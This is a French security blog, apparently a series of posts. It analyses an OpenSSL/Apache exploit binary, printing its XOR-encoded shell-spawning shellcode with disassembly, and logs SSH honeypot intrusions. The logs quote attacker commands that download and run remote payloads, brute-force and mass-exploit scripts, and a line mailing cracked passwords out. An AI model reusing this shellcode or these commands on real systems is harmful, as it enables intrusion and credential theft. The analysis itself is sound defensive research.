Comme pour read_handshake, de nombreuses opérations sont effectuées sur des buffers. La première étape est la lecture de données venant du serveur puis la calcul d'un buffer baptisé mega_buf1, modifié en fonction du protocole (SSL3 ou TLS1) pour répondre au serveur.
D'autres paquets de données sont envoyés dans la foulée (mega_buf2 et mega_buf3) donc le rôle semble être totalement protocolaire.
Le programme effectue ensuite une pause d'une seconde avant d'envoyer le shellcode ainsi que l'offset.

Shellcoding fun

Voici un hexdump du shellcode une fois extrait du binaire :
90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |................|
eb 0e 5a 4a 31 c9 b1 99  80 34 11 fa e2 fa eb 05  |..ZJ1....4......|
e8 ed ff ff ff 13 7d fa  fa fa a5 cb 33 4f fe 73  |......}.....3O.s|
31 ab cb 33 4b f9 cb 28  cb 3a 4a cd 37 7a 73 3c  |1..3K..(.:J.7zs<|
73 38 7a 34 f2 bb cb 3a  4a cd 37 7a 73 30 77 b5  |s8z4...:J.7zs0w.|
f2 73 2a b2 37 7a 73 2b  73 08 cb 3a 4a cd 37 7a  |.s*.7zs+s..:J.7z|
a3 7b 85 f2 94 9f 8c 9f  8e fe 18 39 11 47 cb 3a  |.{.........9.G.:|
aa 92 8d ca ca 8e 73 1b  4a fe 73 38 37 7a cb 33  |......s.J.s87z.3|
cb 3a 4a c5 37 7a bb cb  3a 4a c5 37 7a bb cb 3a  |.:J.7z..:J.7z..:|
4a c5 37 7a 73 01 73 a5  f2 cb 3a 73 bd f6 72 bd  |J.7zs.s...:s..r.|
fd cb 28 77 b5 f2 4a f1  37 7a cb 21 73 22 ba 37  |..(w..J.7z.!s".7|
7a 12 8e 05 05 05 d5 98  93 94 d5 89 92 c5 00     |z..............|

On remarque la présence de NOP (0x90) au début, suivi d'un saut (0xeb) qui permettent de le reconnaître facilement smile
En revanche la suite n'a rien de bien habituelle, en particulier on note l'absence de la chaine "/bin/sh" sad

Pour comprendre le fonctionnement du shellcode, on le place dans un fichier et on tappe ndisasm -u shellcode :
00000010  EB0E              jmp short 0x20
00000012  5A                pop edx
00000013  4A                dec edx
00000014  31C9              xor ecx,ecx
00000016  B199              mov cl,0x99
00000018  803411FA          xor byte [ecx+edx],0xfa
0000001C  E2FA              loop 0x18
0000001E  EB05              jmp short 0x25
00000020  E8EDFFFFFF        call 0x12
00000025  137DFA            adc edi,[ebp-0x6]
...

La raison pour laquelle le shellcode n'est en grande partie pas lisible, c'est qu'une partie est crypté à l'aide d'un XOR.
Le code effectue un saut vers l'instruction call à l'adresse 20. Le call le ramène à la seconde instruction avec l'adresse du reste du shellcode dans la pile (car aucun ret n'a été effectué). Cette adresse est récupérée et placée dans edx.
Toute le code à partir de cette adresse est décodé à l'aide d'un XOR avec 0xfa sur une longueur de 153 (0x99) octets.
Une fois décodé, le code qui nous manquait est :
e9 87 00 00 00 5f 31 c9  b5 04 89 cb 51 31 c9 b1  |....._1.....Q1..|
03 31 d2 31 c0 b0 37 cd  80 89 c6 89 c2 80 ce 08  |.1.1..7.........|
41 31 c0 b0 37 cd 80 89  ca 8d 4f 08 89 d0 48 cd  |A1..7.....O...H.|
80 89 d1 89 f2 31 c0 b0  37 cd 80 59 81 7f 08 6e  |.....1..7..Y...n|
65 76 65 74 04 e2 c3 eb  bd 31 c0 50 68 77 30 30  |evet.....1.Phw00|
74 89 e1 b0 04 89 c2 cd  80 31 c9 31 c0 b0 3f cd  |t........1.1..?.|
80 41 31 c0 b0 3f cd 80  41 31 c0 b0 3f cd 80 89  |.A1..?..A1..?...|
fb 89 5f 08 31 c0 89 47  0c 88 47 07 31 d2 8d 4f  |.._.1..G..G.1..O|
08 b0 0b cd 80 31 db 89  d8 40 cd 80 e8 74 ff ff  |.....1...@...t..|
ff 2f 62 69 6e 2f 73 68  3f fa                    |./bin/sh?.|

soit les instructions suivantes :
00000000  E987000000        jmp 0x8c
00000005  5F                pop edi
00000006  31C9              xor ecx,ecx
00000008  B504              mov ch,0x4
0000000A  89CB              mov ebx,ecx
0000000C  51                push ecx
0000000D  31C9              xor ecx,ecx
0000000F  B103              mov cl,0x3
00000011  31D2              xor edx,edx
00000013  31C0              xor eax,eax
00000015  B037              mov al,0x37 ; fcntl
00000017  CD80              int 0x80
00000019  89C6              mov esi,eax
0000001B  89C2              mov edx,eax
0000001D  80CE08            or dh,0x8
00000020  41                inc ecx
00000021  31C0              xor eax,eax
00000023  B037              mov al,0x37 ; fcntl
00000025  CD80              int 0x80
00000027  89CA              mov edx,ecx
00000029  8D4F08            lea ecx,[edi+0x8]
0000002C  89D0              mov eax,edx
0000002E  48                dec eax
0000002F  CD80              int 0x80    ; read
00000031  89D1              mov ecx,edx
00000033  89F2              mov edx,esi
00000035  31C0              xor eax,eax
00000037  B037              mov al,0x37 ; fcntl
00000039  CD80              int 0x80
0000003B  59                pop ecx
0000003C  817F086E657665    cmp dword [edi+0x8],0x6576656e ; even/neve
00000043  7404              jz 0x49
00000045  E2C3              loop 0xa
00000047  EBBD              jmp short 0x6
00000049  31C0              xor eax,eax
0000004B  50                push eax
0000004C  6877303074        push dword 0x74303077 ; t00w/w00t
00000051  89E1              mov ecx,esp
00000053  B004              mov al,0x4  ; write
00000055  89C2              mov edx,eax
00000057  CD80              int 0x80
00000059  31C9              xor ecx,ecx ; stdin
0000005B  31C0              xor eax,eax
0000005D  B03F              mov al,0x3f ; dup2
0000005F  CD80              int 0x80
00000061  41                inc ecx     ; stdout
00000062  31C0              xor eax,eax
00000064  B03F              mov al,0x3f ; dup2
00000066  CD80              int 0x80
00000068  41                inc ecx     ; stderr
00000069  31C0              xor eax,eax
0000006B  B03F              mov al,0x3f ; dup2
0000006D  CD80              int 0x80
0000006F  89FB              mov ebx,edi
00000071  895F08            mov [edi+0x8],ebx
00000074  31C0              xor eax,eax
00000076  89470C            mov [edi+0xc],eax
00000079  884707            mov [edi+0x7],al
0000007C  31D2              xor edx,edx
0000007E  8D4F08            lea ecx,[edi+0x8]
00000081  B00B              mov al,0xb  ; execve
00000083  CD80              int 0x80
00000085  31DB              xor ebx,ebx
00000087  89D8              mov eax,ebx
00000089  40                inc eax
0000008A  CD80              int 0x80    ; exit
0000008C  E874FFFFFF        call 0x5
00000091  2F62696E2F7368    /bin/sh
00000098  3F                aas
00000099  FA                cli


check_exploit_result

Le shellcode est en grande partie facilement compréhensible : il redirige les entrées/sorties vers un beau /bin/sh prêt à servir.
Pourtant juste avant il effectue un read() puis un write() pour le moins énigmatiques.

Le mystère est levé par un appel à la fonction check_exploit_result qui vient directement après l'appel à exploit.
check_exploit_result prend pour seul argument le socket de la connexion. Il commence par envoyer la chaine "neve" au serveur puis attend une réponse de la part du serveur. Si la réponse contient "w00t", le programme affiche un message de victoire ("w3 g0t 1t") et passe à une fonction get_shell qui envoit quelques commandes pour configurer le shell distant puis récupère ce qui est tappé à la console pour le renvoyer sur le socket et vice/versa.

Le code du shellcode de son côté va lire les données venant du client, et si le message est "neve", il renvoit la réponse "w00t".
Un test pratique pour déterminer si le shellcode a bien été exécuté smile

Exit

Pour conclure, le binaire était très intéressant et a sans doute peu circulé à l'heure actuelle. Il semble aller plus loin dans l'exploitation de la vulnérabilité d'OpenSSL en prenant en compte le protocole TLS1 et en s'attaquant aussi aux services de "Secure SMTP over TLS".
L'autre binaire est assez proche à la différence qu'il s'agit d'un scanneur : on lui passe une plage d'adresses IP et il va chercher des machines vulnérables sans les exploiter (la code correspond au mode -c du binaire analysé). Quand il en trouve une il les rajoute au fichier vuln.txt dont on a vu la structure au début.
Et pendant que j'y pense, dans le scanner on trouve des mots en roumain alors qu'il n'y en a pas dans le binaire e.

La meilleure façon de se protéger de cette attaque est d'être à jour de ses logiciels, les offsets proposés par le programmes correspondant aux versions suivantes :
SuSE 9.0 (apache-1.3.28-60.i586.rpm)
SuSE 9.0 (apache2-leader-2.0.48-9.i586.rpm)
SuSE 9.0 (apache2-metuxmpm-2.0.48-9.i586.rpm)
SuSE 9.0 (apache2-prefork-2.0.48-9.i586.rpm)
SuSE 9.0 (apache2-worker-2.0.48-9.i586.rpm)
Mandrake 9.1 (apache2-2.0.44-11mdk.i586.rpm)
Mandrake 9.1 (apache2-2.0.47-1.6.91mdk.i586.rpm)
Mandrake 9.2 (apache2-2.0.47-6mdk.i586.rpm)
Mandrake 9.2 (apache2-2.0.47-6.3.92mdk.i586.rpm)
Red Hat 9 (httpd-2.0.40-21.i386.rpm - httpd)
Red Hat 9 (httpd-2.0.40-21.i386.rpm - httpd.worker)
Red Hat 9 (httpd-2.0.40-21.3.i386.rpm - httpd)
Red Hat 9 (httpd-2.0.40-21.9.i386.rpm - httpd)
Red Hat 9 (httpd-2.0.40-21.9.i386.rpm - httpd.worker)

Votre calvaire est fini bigsmile

Dernières visites sur le honeypot SSH

, , , ...

Je vous fait part des dernières visites que j'ai eu sur mon honeypot Kojoney dont je vous avait parlé ici et dont la dernière intrusion intéressante remonte à ce billet.

Ici pas d'intrus très imaginatifs mais c'est une bonne excuse pour écrire quelque chose bigsmile

Premier cas
Un brute force est effectué depuis une adresse IP située en Russie. Le FAI a son siège social à Moscou.
L'attaquant est venue depuis une adresse IP roumaine depuis le FAI RDS.

Les commandes lançées sont très certainement l'oeuvre d'un bot :
uname -a
uptime
/sbin/ifconfig | grep inet
cd /var/tmp; wget http://adriana.marte.ro/luci.tgz; tar xzvf luci.tgz; rm -rf luci.tgz; cd .luci; ./crond

La sortie de quelques commandes systèmes est récupérée (certainement enregistrée sur la machine qui a lancé le brute force). Ca leur permet de connaître la version du kernel, l'ip de la machine ainsi que son uptime (ils aiment bien ça smile )
Une archive tgz est ensuite récupérée à l'aide de wget. Le fichier désarchivé donne un répertoire caché (.luci) dans lequel on trouve un EnergyMech compilé sous le nom crond ainsi qu'un pico (un éditeur de texte qu'on retrouve souvent dans ces "kits"... sont même pas foutus d'utiliser Vim bigsmile )
L'adresse du site sur laquelle a été pris l'archive nous confirme la nationnalité du pirate.
Le bot IRC est configuré pour se connecter sur un serveur du réseau UnderNet sur un chan baptisé "#LUCIsiCUTIT".
Une fois le bot lancé, le pirate n'a plus qu'à se connecter au chan pour lui donner des ordres. Bien sûr, comme Kojoney n'est qu'une simulation de shell, les commandes n'ont pas vraiment été exécutées.

Second cas
L'attaque brute force provient d'une machine polonaise dont le FAI est la version polonaise de FT/Orange.
L'intrus se connectera depuis une machine roumaine chez ARtelecom.
Un premier passage très rapide est fait pas le pirate :
w
cat /proc/cpuinfo

Afficher les infos sur le CPU est une autre action qui revient souvent... mais je doute qu'ls s'en servent pour savoir s'ils sont sur un honeypot p
passwd
cd /var/tmp
cd /tmp
ls -a
mkdir ." '^?"
cd ." '^?"
wget www.eraserulhk.evonet.ro/arhive/james.tgz
curl -O www.eraserulhk.evonet.ro/arhive/james.tgz
ftp
wget
su root

Un bon nombre de commandes n'aboutit pas, ce qui explique qu'ils ont tendance à s'acharner smile
Après une nouvelle déconnexion (toujours très courtes... c'est probablement parce que le terminal bugge) il revient avec les commandes suivantes :
passwd
passwd
pwd
ls -a
wget valoare.xhost.ro/unixcod.tgz;tar zxvf unixcod.tgz;rm -rf unixcod.tgz;cd unixcod;chmod +x *;mv unix bash
curl -O  valoare.xhost.ro/unixcod.tgz
ftp

La première archive (james.tgz) génère un dossier caché nommé "..."
On y trouve un EnergyMech (encore) compilé pour différentes plates-formes avec un nom différent à chaque fois : darwin (Mac PPC), httpd (FreeBSD), linux (Linux ELF x86)
Le bot cherche à se connecter sur le chan "#HackerTeam" sur un serveur UnderNet. On trouve aussi l'adresse d'un site Internet (en .ro) qui est celui du pirate... Rien d'intéressant à y voir.

La seconde archive "unixcod.tgz" est un kit d'exploitation ssh. On y trouve :

- Une liste de paires login/password (fichier data.conf)
- Un script baptisé "unix" dont le contenu est le suivant :
#!/bin/bash
if [ $# != 1 ]; then
        echo "[+] Folosim : $0 [b class]"
        exit;
fi

echo "[+][+][+][+][+] UnixCoD Atack Scanner [+][+][+][+][+]"
echo "[+]   SSH Brute force scanner : user & password   [+]""
echo "[+]        Undernet Channel : #UnixCoD            [+]"
echo "[+][+][+][+][+][+][+] ver 0x10  [+][+][+][+][+][+][+]"
./find $1 22

sleep 10
cat $1.find.22 |sort |uniq > ip.conf
oopsnr2=`grep -c . ip.conf`
echo "[+] Incepe partea cea mai misto :D"
echo "[+] Doar  $oopsnr2 de servere. Exista un inceput pt. toate !"
echo "[=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=][=]"
echo "[+] Incepem sa vedem cate server putem sparge"
./atack 100
rm -rf $1.find.22 ip.conf
echo "[+] UnixCoD Scanner a terminat de scanat !"

- Un script d'automatisation pour générer des ips et lancer un binaire (qui n'est pas présent dans l'archive ou a été renommé)

Viennent ensuite les deux binaires appelés dans le script "unix" :
- find : un scanneur de ports qui sera lancé pour chercher les machines avec un port 22 ouvert. L'exécutable n'est pas strippé. Une analyse du binaire nous apprend que le développeur n'a pas utilisé select() et fait appel à la fonction time() pour vérifier l'état de ses sockets.
Même si le code n'a rien de particulier j'ai décidé de l'analyser histoire de passer le temps et d'apprendre à mieux me servir de HT smile
- atack : le brute forceur. Il récupérer les ips dans ip.conf, les login/pass dans data.conf et stocke es résultats dans un fichier vuln.txt

A noter qu'aucune backdoor n'est présente dans cette archive (il faut croire qu'il ne comptait pas revenir bigsmile )

Troisième cas
Les scans pour la journée sont parvenus de Costa Rica (l'ISP du pays gère aussi l'électricité et les télécoms ^_^ ) puis du Mexique
L'attaquant semblait venir du Pérou (FAI : telefonica.com.pe)

Commandes exécutées :
uname -a
ps x
ps
bash
ls -a
cd ..
cd
ls -a
cd tmp
cat /etc/passwd

reconnexion du visiteur
cd videos
cat /etc/issue
ps
ps x
cd /var/tmp
help
adduser oscar
passwd
passwd
uname -a
boot
ls -a
ls
ps
ls -a
ps aux
mkdir ocm
cd ocm
ls -a
bash
wget freewebs.com/h0zk4r/udp.zip

Ensuite il a dû faire appel à un copain portugais (IP différente) qui a lancé les commandes suivantes :
unset HISTFILE HISTLOG HISTSAVE SCREEN
w
uname -a
who
wget
id
sh
history -c
exit

Le fichier zip contient un script de flood UDP en perl. J'ai des doutes sur son efficacité mais je n'ai pas fait de tests non plus.

Modifications
Les attaquants écourtent leurs visites à la vue des limitations du système simulé. Premièrement les visiteurs qui utilisent ce type de d'attaque bruyantes n'ont généralement qu'une connaissance limité de Linux et en dehors de quelques commandes toutes faites ils ne savent pas quoi tapper pour avoir les réponses aux questions qu'ils se posent. De plus ils ne semblent pas se douter qu'ils sont sur un honeypot et ne vont pas essayer de le vérifier (pourtant il existe des méthodes permettant par exemple de savoir si on est sur un système émulé).
Le problème principal de Kojoney est l'absence d'un système de fichier virtuel. Un 'ls' donnera toujours le même résultat même si l'intrus lance un 'cd', un 'touch', un 'mkdir' etc.
De plus pour la plupart des commandes Kojoney répondra par un "command not found" ou un "permission denied".

J'ai récemment apporté des changements à ma version de Kojoney afin que plus de commandes soient possibles. Par exemple le fait que les commandes internes à bash ne soit pas présentes risquait de donner de forts soupçons au visiteur.
J'ai aussi trouvé le moyen d'obtenir le nom du login pour la session en cours afin d'offrir une invite de commande personalisé du type "login@hostname $"
Des réponses toutes faites ont été ajoutées pour certaines commandes ("cat /proc/cpuinfo" par exemple) pour donner plus de réalisme.
Evidemment ce n'est pas parfait mais avec ces nouvelles modifications je pense bien doubler le temps de présence de mes visiteurs smile

Télécharger mes modifications au format .tar.bz2

Intrusion du 24 novembre 2006

, , , ...

Pour plus d'information sur Kojoney, un honeypot ssh, reportez vous à un de mes précédents billets.

Une attaque brute force contre les comptes ssh a été lancée le 23 nomvembre aux alentours de 16 heures. La machine attaquante est localisée en norvège. Le FAI est telenor.no.
L'attaque est plutôt efficace et prend fin à 16h07 après avoir trouvé différents passwords par défaut (ftp, mysql, guest, admin).

Le 24 à minuit et 43 minutes, le pirate se connecte en utilisant le compte ftp. Son adresse IP le situe en Roumanie (FAI Romtelecom). Aucune autre visite n'a eu lieu entre la fin du brute force et son arrivée.
Plusieurs commandes sont lancés afin d'obtenir plus d'informations sur la machine :
uname -a
hostname
cat /proc/cpuinfo

Le visiteur vérifie aussi brievement la présence des commandes tar et wget.
Il va alors tenter à plusieurs reprises de télécharger une archive gzip (conf.tar.gz) mais qui échoue comme le honeypot est à "faible interraction" (aucune commande n'est réellement exécutée, tout est simulé)

Les fichiers présents dans cette archive sont (avec le résultat de la commande file) :
all.chr: data
alnum.chr: data
alpha.chr: data
auto: Bourne-Again shell script text executable
clean: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
digits.chr: data
do: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped
ex.pl: perl script text executable
john: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), stripped
john.conf: ASCII English text
lanman.chr: data
mailer: Bourne shell script text executable
o: Bourne-Again shell script text executable
password.lst: ASCII English text
pscan2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped
scan: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
ss: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
try: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
unafs: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
unique: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
unshadow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped

Les noms de fichiers que j'ai mis en gras devraient être familier à tout ceux qui ont déjà utilisé John the Ripper (un casseur de mot de passe local). La personne qui a généré l'archive n'a visiblement pas fait le tri (unafs, mailer, lanman.chr et unique n'auront probablement pas d'utilité pour l'attaquant)

Le script 'o' lance john sur plusieurs fichiers (non présents) avec l'option -show pour afficher les password cassés. Le fichier a sans doute été mis par erreur ou laissé par oubli.
Le script 'auto' demande un début d'adresse IP (par exemple 192.168.0) et un nom de fichier. Il génère alors une liste d'ips à l'aide d'une boucle (0 -> 255)

Le script perl ex.pl est un exploit pour Webmin qui date de juillet 2006.

Les binaires sont assez énigmatiques. clean semble plus ou moins crypté pour cacher son rôle (un strings ne renvoit rien d'intéressant).
En réalité il lance juste la commande suivante : "rm -rf pass pass2 pass3 john.pot restore john.log ips bios.txt *.pscan.10* wget-log* spart* core*"
On peut se demander l'utilité de passer par un fichier ELF alors qu'un script shell aurait été plus rapide et surtout plus portable...

pscan2 est un scanneur de port horizontal (même port, ips différentes) assez simple qui enregistre les résultats dans un fichier. J'ai pu retrouver le fichier source sur Internet.

"ss" est pour le moins surprenant. Là encore le programme dissimule son contenu. En fait il s'agit d'un scanneur de port horizontal tout comme pscan2 mais bien plus évolué. Il est linké statiquement avec la librairie pcap et envoit des paquets SYN au lieu d'établir des connexions complètes. Le traffic est sniffé afin de détecter quelles machines répondent (et donc savoir celles qui ont un port ouvert).

Ce programme serait tout à fait lambda dans la trousse d'un pirate informatique si les machines qu'il scanne par défaut n'étaient pas aussi "spéciales".
Il semble avoir un intérêt tout particulier pour les sites gouvernementaux et militaires ainsi que les centres de recherches. Ainsi il envoit des paquets sur un bon nombre de .mil, de .gov (et .gov.*), des .edu (comme le célèbre MIT) etc etc yikes
Au moins on ne peut pas lui reprocher de faire de la discrimination : Washington, Tel Aviv... et même du côté du soleil levant... tout y passe left
Les résultats sont enregistrés dans un fichier "bios.txt"

Tout comme clean, "scan" est juste un script shell passé en binaire pour rendre plus difficile à comprendre son fonctionnement.
Après avoir définit un code couleur, il lance les commandes suivantes :
if [ $# != 1 ]; then
        echo se da: $0 <b class>
        exit;
fi

echo ${YEL}#@@@@@@@@@@@@@@@${BLU}MASSROOTER${YEL}@@@@@@@@@@@@@@@@@@#
echo ${YEL}############${BLU}By b-u-f-u ,lego & dary ${YEL}#########
echo ${YEL}###############${RED}PRIVATE SHIT${YEL}##################
echo ${RES}

./pscan2 $1 20000
sleep 10
cat $1.pscan.20000 |sort |uniq > ips
./do ips
rm -rf ips
echo ${DGRN}#BAFTA!....
echo ${RES}

Ce script utilise pscan2 pour trouver des machines ayant un port Webmin ouvert (20000) puis pour chaque machine correspondant à ces critères il appelle le programme 'do'
Là vous vous demandez "mais à quoi sert le binaire do" confused
Et bien c'est la partie qui automatise l'attaque. Pour chaque adresse IP trouvée dans le fichier passé en paramêtre (ips dans ce cas), l'exploit pour Webmin est lancé et va tenter d'accèder au fichier /etc/shadow du serveur. Différentes tentatives sont faites afin de couvrir différents systèmes (par exemple master.passwd pour BSD)
Les résultats obtenus sont placés dans les fichiers pass, pass2, pass3.
Pour chacun de ces fichiers John the Ripper est lancé en tâche de fond afin de casser les mots de passe. Le résultat final c'est les éventuels passwords trouvés mis dans un fichier "vuln" et envoyés sur une boîte mail :
cat vuln | mail -s woot woot $1 conf.team@gmail.com

La commande try semble faire la même chose que do

L'intrusion en elle même n'était pas exceptionnelle mais les binaires étaient pour le moins intéressants...
L'étude a été faite dans un environnement chrooté avec des outils comme strace, ltrace et SoapBox

SPAM, SPAM, SPAM, SPAM, sausage, eggs and SPAM

, , , ...

I don't want SPAM !!

C'est d'ailleurs pour cela que le blog est équipé en captcha, gri-gri et autres amulettes anti-spammeurs wizard
Et ça marche (surtout le captcha) mais ça ne stoppe malheureusement les tentatives infructueuses (il va falloir que je change de sorcier).

En attendant les techniques évolues, ainsi ils utilisent un référant bidon correspondant à une recherche google fictive.
Mais c'est facilement détectable puisque :
  • Par exemple je n'ai jamais publié une "image de chanbord" (avec la faute)
  • Le spammeur utilise un proxy transparent (Dotclear mémorise sa véritable IP)
  • Il utilise toujours le même proxy (donc blocable par htaccess ou autre)


Et puis je serais surpris qu'il existe des webapps laissant passer aveuglément tout visiteur venant soit disant d'un moteur de recherche... mais qui sait (c'est comme les chauves-souries enragées). Puis il y a de l'idée.

Sur mon honeypot ssh aussi ils semblent s'améliorer :
passwd
uname -a
ls
cd /tmp
ls
cd /var/tmp
ls
cd var
ls
id
is
su ftp
ftp
su
su root
bash -a
sh
wget
wget http://alam-batu.de/sig.bmp;chmod +x sig.bmp;./sig.bmp
cd /tmp

Celui-là semble avoir choisit l'exploit en fonction de la version du kernel (il y a de l'espoir, surtout pour un pirate roumain - priv8 j0k3) p mais il n'est pas resté longtemps (trop limité Kojoney) :/

Kojoney

, , , ...

Kojoney est un honeypot à faible interaction.
Développé en Python et basé sur les librairies réseau Twisted, il émule un serveur SSH tournant sur un système où les utilisateurs ont des mots de passes faibles.

Certains pirates ont recours à des scanneurs qui se connectent sur des adresses IP prises au hazard et qui tentent une attaque par froce brute sur les mots de passes, ciblant principalement les mots de passes par défaut ou ceux dont l'utilisateur n'a pas fait preuve d'imagination.

L'institut SANS tient à jour un classement des 20 vulnérabilités qu'il juge les plus critiques. Pendant très longtemps l'utilisation de mots de passes facilement trouvables était en tête du classement mais il semble qu'avec la prolifération des vers, des spywares et autres malwares, les mauvais mots de passes ont une importance moindre. Pourtant ils sont et seront toujours présents.

Si vous vous promenez sur les forums spécialisés Linux vous avez sans doute déjà vu quelques personnes se plaindre de ces attaques. Et même si la plupart du temps ces attaques échouent, elles font beaucoup parler d'elles.

Kojoney vous permet d'analyser ce traffic. Le logiciel enregistre dans des fichiers de log toutes les tentatives qui ont été faites ainsi que les commandes tappées par le pirate dès que celui-çi a trouvé un des comptes utilisé par Kojoney sherlock

Kojoney a plusieurs défauts, même s'il n'en est pas forcément le responsable. Premièrement il faut avouer que les pirates qui effectuent de telles attaques ne sont généralement pas d'un niveau très élevé. Il faut dire qu'effectuer des attaques brute-force est ce qu'il se fait de moins discret. Ca génère une quantité de logs impressionants, c'est facilement détecté par des logiciels de surveillance et même un informaticien débutant peut se douter qu'il se passe quelque chose de louche en voyant sa bande passante réduite aussi vite.
Le second problème est qu'il ne fait que simuler un serveur SSH. Techniquement le programme ne fait que boucler sur ce que tappe l'utilisateur et y répondre quand il en est capable. Par conséquent on atteint très facilement les limites de ce faux environnement, par exemple il est impossible de se promener ailleurs que dans la racine (/) et le pirate ne peut pas utiliser de programmes interactifs (emacs, vim, ftp...)

Toutefois avec les versions 0.0.4 il est possible pour ceux qui ont quelques connaissances en Python de rajouter très facilement des commandes à ce shell virtuel cool
J'utilise Kojoney depuis un bon boût de temps maintenant et j'y ai apporté quelques retouches (c'est tout l'avantage des logiciels libres) afin de rendre l'environnement plus réaliste. Malheureusement toute la partie gestion du terminal est laissée à la librairie Twisted Conch et certaines modifications semblent impossibles à apporter (utilisations des flèches pour gérer l'historique, utilisation de la touche backspace...)

La version 0.0.4.1 apporte une nouvelle fonctionnalité : télécharger dans le dossier /var/log/kojoney les fichiers que les pirates auront tenté de rapatrier avec wget ou curl up

La lecture des logs peut être assez longue, heureusement différentes commandes permettent d'obtenir un résultat plus lisible. Le principal utilitaire est kojreport qui génère des statistiques sur les attaquants (pays les plus actifs, commandes les plus utilisés etc)

Rien qu'au niveau des logiciels d'attaques utilisés ont remarque des différences : certains continuent d'attaquer après avoir trouvé un mot de passe, d'autre s'arrêtent au premier compte obtenu.
La plupart du temps les pirates se servent d'une machine compromise pour effectuer l'attaque et se connectent au compte en utilisant une autre machine (leur machine perso ?) Généralement les attaquants sont humains mais quelques fois on a affaire à des outils automatisés qui lancent des commandes en aveugle, par exemple :
wget free-ftp.org/trkalce/botovi.tar.gz;tar -zxvf botovi.tar.gz;cd bots;chmod +x inetd;./inetd

Quelques attaquants se concentrent uniquement sur le compte root, allant parfois jusqu'à ne tenter qu'un seul mot de passe (root/root ?) bigeyes
Les premières actions des pirates consistent généralement à vérifier s'ils sont seuls sur la machine (w ou who), à savoir où ils sont (pwd, ls) et sur quoi ils se trouvent (uname, uptime). Ensuite ils tentent de changer le mot de passe (passwd) - pour éviter que quelqu'un passe dérrière eux - et téléchargent une backdoor pirate

Dans la grande majorité des cas il s'agit d'un bot irc. Le programme se connecte à un serveur IRC, dans un cannal donné et attend que quelqu'un sur ce cannal lui donne des ordres. La machine vient très probablement se rajouter à un botnet.

Les pirates ne maîtrisent pas tous Linux comme ils le devraient et abandonnent très vite en voyant que certaines commandes ne sont pas présentes ou leur sont interdites. Ils manquent de curiosité et ne prennent pas le temps de comprendre ce qu'il se passe down

Pour tout dire, un seul a jusqu'à présent eu l'intention de passer root lol
Il a téléchargé un binaire nommé 'hat' à l'adresse dogg-crew.com/nightfox/hat. Après l'avoir placé dans un chroot et l'avoir 'stracé' j'ai très vite compris qu'il s'agissait d'un exploit pour une faille dans les kernels 2.4 (do_brk). Le nom de l'exploit complet étant hatorihanzo on comprend mieux le nom du fichier.

Le binaire a d'autres particularités intéressantes. Tout d'abord il semble vérolé et est détecté comme étant Virus.Linux.Osf.8759 (ou Linux/OSF.A)
Il faut avouer que le fichier est assez imposant (423Ko) même pour un programme compilé statiquement. Une grande partie du code semble être crypté et certains désassembleurs se cassent les dents dessus :

On comprends mieux où se trouve la signature du virus bigsmile
Même en le désassemblant avec gdb je ne suis pas parvenu à voir autre chose que la partie exploit du fichier, mais mes connaissances en virus sont très limitées.

J'espère que ce billet vous aura donné l'envie d'installer Kojoney.
Je vous recommande, une fois l'installation effectuée, de télécharger mes modifications et de remplacer les fichiers de la version originale.